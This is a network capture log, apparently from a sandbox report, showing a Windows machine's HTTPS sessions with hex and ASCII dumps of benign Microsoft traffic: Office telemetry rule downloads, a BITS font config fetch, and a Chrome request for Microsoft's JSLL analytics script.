2024-12-03 16:41:52 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.7	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:52 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:53 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:52 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 73839456-501e-000a-0a63-430180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164152Z-174f7845968pght8hC1EWRyvxg00000009bg00000000b6x8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:53 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.7	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:52 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:53 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:53 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 179ef32c-501e-0016-1fc5-43181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164153Z-174f7845968ljs8phC1EWRe6en000000163g000000005knn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:53 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.7	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:53 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:54 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:54 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 717d5930-e01e-001f-2a2b-441633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164154Z-174f78459684bddphC1EWRbht40000001600000000005323 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:54 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.7	49822	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:53 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-03 16:41:54 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=69810 Date: Tue, 03 Dec 2024 16:41:54 GMT Content-Length: 55 Connection: close X-CID: 2
2024-12-03 16:41:54 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.7	49823	13.107.246.43	443	1836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:54 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 16:41:54 UTC	889	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:54 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241203T164154Z-174f7845968kvnqxhC1EWRmf3g0000000szg00000000fc41 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:54 UTC	15495	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-12-03 16:41:54 UTC	16384	IN	Data Raw: 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 Data Ascii: (i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(
2024-12-03 16:41:55 UTC	16384	IN	Data Raw: 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 Data Ascii: (e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(
2024-12-03 16:41:55 UTC	16384	IN	Data Raw: 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 Data Ascii: (e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};f
2024-12-03 16:41:55 UTC	16384	IN	Data Raw: 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c Data Ascii: l:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return nul
2024-12-03 16:41:55 UTC	16384	IN	Data Raw: 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: o track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(
2024-12-03 16:41:55 UTC	16384	IN	Data Raw: 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 Data Ascii: coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageT
2024-12-03 16:41:55 UTC	16384	IN	Data Raw: 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d Data Ascii: n!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].nam
2024-12-03 16:41:55 UTC	16384	IN	Data Raw: 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 Data Ascii: uthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="sp
2024-12-03 16:41:55 UTC	16384	IN	Data Raw: 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c Data Ascii: )),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.7	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:54 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:54 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:54 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 44636861-901e-0083-5170-43bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164154Z-174f7845968px8v7hC1EWR08ng00000016cg00000000pn3z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
